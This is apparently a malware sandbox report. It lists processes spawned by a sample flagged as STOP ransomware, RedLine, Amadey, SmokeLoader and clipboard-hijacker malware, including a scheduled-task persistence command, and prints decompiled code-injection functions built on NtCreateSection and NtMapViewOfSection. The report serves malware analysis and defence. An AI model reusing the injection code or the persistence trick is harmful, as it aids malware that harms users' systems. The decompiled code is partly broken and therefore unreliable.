Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0x12b0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 913F.exePID: 5260, Parent PID: 3452

General

Target ID:	34
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\913F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\913F.exe
Imagebase:	0x400000
File size:	809984 bytes
MD5 hash:	15BC205C2CAF7196EE2267087C3B2BB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.482578416.0000000000887000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 5348, Parent PID: 4364

General

Target ID:	35
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe"
Imagebase:	0xe00000
File size:	255488 bytes
MD5 hash:	08240E71429B32855B418A4ACF0E38EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000003.612344653.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000002.618034875.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000002.618608332.0000000000E01000.00000020.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000000.475540855.0000000000E01000.00000020.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000003.520904242.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000003.520904242.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000002.618034875.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000023.00000002.618034875.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5228, Parent PID: 5268

General

Target ID:	36
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x310000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 913F.exePID: 5512, Parent PID: 5260

General

Target ID:	37
Start time:	10:42:54
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\913F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\913F.exe
Imagebase:	0x400000
File size:	809984 bytes
MD5 hash:	15BC205C2CAF7196EE2267087C3B2BB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: F4F7.exePID: 5436, Parent PID: 3452

General

Target ID:	38
Start time:	10:42:54
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\F4F7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F4F7.exe
Imagebase:	0x400000
File size:	288768 bytes
MD5 hash:	7A8E3D000FBA0F5765B98E2D78EB9D12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000026.00000002.501652652.00000000007C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000026.00000002.506871844.00000000007F8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: mstsca.exePID: 6600, Parent PID: 1080

General

Target ID:	40
Start time:	10:42:56
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x9b0000
File size:	9728 bytes
MD5 hash:	9EAD10C08E72AE41921191F8DB39BC16
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000028.00000000.480111248.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, Author: unknown
Antivirus matches:	Detection: 88%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: 5DA0.exePID: 6404, Parent PID: 3452

General

Target ID:	41
Start time:	10:42:57
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\5DA0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5DA0.exe
Imagebase:	0x9a0000
File size:	5129728 bytes
MD5 hash:	2AF03D52F9CF9E53DFFC1183B403E1B7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\5DA0.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 01860199.exePID: 1264, Parent PID: 3452COMMON

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164b
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

0x00401566
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

0x00401577
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.379889379.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
